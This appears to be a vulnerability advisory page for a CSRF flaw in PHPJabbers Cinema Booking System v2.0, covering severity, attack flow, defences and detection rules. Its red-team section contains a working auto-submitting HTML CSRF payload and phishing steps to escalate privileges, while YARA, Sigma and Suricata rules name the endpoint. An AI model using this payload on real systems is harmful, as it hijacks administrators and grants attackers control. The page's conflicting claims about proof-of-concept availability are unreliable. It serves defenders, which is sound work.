CVE-2024-57429
Executive Summary
CVE-2024-57429 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the pjActionUpdate function of PHPJabbers Cinema Booking System v2.0. This flaw allows a remote attacker to trick an authenticated administrator into executing unintended actions, such as privilege escalation, by submitting a crafted request without the admin's knowledge. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and has a CVSS v3.1 base score of 8.8 (High), indicating significant impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the risk remains due to the lack of mitigation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need prior authentication.
- User Interaction: Required (UI:R) – The victim admin must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full data access possible.
- Integrity Impact: High (I:H) – Data can be modified or deleted.
- Availability Impact: High (A:H) – Service disruption possible.
Threat Level: High. The vulnerability requires user interaction but can lead to full administrative control over the booking system, including user management, financial data, and system configuration.
Deep Dive & Mechanics
The vulnerability resides in the pjActionUpdate function, which is responsible for processing update requests within the PHPJabbers Cinema Booking System. The function lacks proper CSRF tokens or origin validation, meaning it does not verify whether the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to pjActionUpdate. This request can modify admin credentials, create new admin accounts, or alter system settings, effectively escalating the attacker's privileges.
The attack flow:
- The attacker identifies a target instance of the Cinema Booking System.
- The attacker crafts a CSRF payload (e.g., an HTML form auto-submitting to the vulnerable endpoint).
- The attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
- The admin's browser sends the forged request with the admin's session cookies.
- The server processes the request, leading to privilege escalation.
No authentication bypass is required; the attacker relies on the admin's active session.
Vulnerable vs. Patched Code
Vulnerable Code (v2.0):
The pjActionUpdate function likely processes POST parameters without checking for a CSRF token. Example vulnerable PHP snippet:
function pjActionUpdate() {
// No CSRF token validation
$id = $_POST['id'];
$role = $_POST['role'];
// Update user role without verifying request origin
$this->model->update(array('id' => $id, 'role' => $role));
}
Patched Code (Hypothetical): A patched version would include CSRF token generation and validation:
function pjActionUpdate() {
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF validation failed');
}
$id = $_POST['id'];
$role = $_POST['role'];
$this->model->update(array('id' => $id, 'role' => $role));
}
Since no official patch exists, administrators must implement custom CSRF protections.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Environment:
- PHPJabbers Cinema Booking System v2.0 installed on a local server (e.g., XAMPP).
- Admin account with active session.
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target/cinema-booking/admin/index.php?controller=pjAdmin&action=pjActionUpdate - Craft a CSRF payload (HTML file):
<html>
<body>
<form action="http://target/cinema-booking/admin/index.php?controller=pjAdmin&action=pjActionUpdate" method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="role" value="admin" />
<input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the HTML file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the malicious page.
- Once the admin visits the page, the form auto-submits, escalating the attacker's privileges.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Defense & Detection)
Defensive Measures:
- Implement CSRF tokens in all state-changing requests.
- Use SameSite cookies (Strict or Lax) to prevent cross-origin requests.
- Validate the
OriginandRefererheaders on the server side. - Educate administrators about phishing attacks.
Detection:
- Monitor for unusual POST requests to
pjActionUpdatefrom unexpected referrers. - Alert on multiple failed CSRF token validations (if implemented).
- Use web application firewalls (WAF) to block requests with missing or invalid CSRF tokens.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/admin/index.php?controller=pjAdmin&action=pjActionUpdatewith unexpectedRefererheaders. - Repeated requests from the same IP to the vulnerable endpoint without prior login activity.
- POST requests to
- File IOCs:
- Unauthorized changes to user role fields in the database (e.g.,
rolecolumn inuserstable). - New admin accounts created without proper authorization.
- Unauthorized changes to user role fields in the database (e.g.,
- Behavioral IOCs:
- Admin accounts performing actions outside normal business hours.
- Multiple privilege escalation events from the same user session.
Detection Engineering
YARA Rule
rule detect_csrf_payload_cve_2024_57429 {
meta:
description = "Detects CSRF payload targeting PHPJabbers Cinema Booking System pjActionUpdate"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-57429"
strings:
$action = "pjActionUpdate" nocase
$controller = "pjAdmin" nocase
$param_id = "id="
$param_role = "role="
condition:
all of them
}
Sigma Rule
title: CSRF Attempt Against PHPJabbers Cinema Booking System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential CSRF attacks targeting pjActionUpdate endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains:
- "controller=pjAdmin"
- "action=pjActionUpdate"
condition: selection
falsepositives:
- Legitimate admin updates
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57429 CSRF Attempt - PHPJabbers Cinema Booking System"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"controller=pjAdmin"; http_uri; content:"action=pjActionUpdate"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required, or restrict access via
.htaccessor firewall rules. - Implement CSRF tokens manually by modifying the source code (see patched code example).
- Apply SameSite cookie attribute to session cookies (set
SameSite=StrictorLax). - Use a Web Application Firewall (WAF) to block requests without proper CSRF tokens.
Long-Term Fix:
- Contact PHPJabbers for an official patch or consider migrating to a supported alternative.
- Regularly audit third-party components for known vulnerabilities.
Workaround:
- Add a custom middleware that validates the
Originheader against the application's domain.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.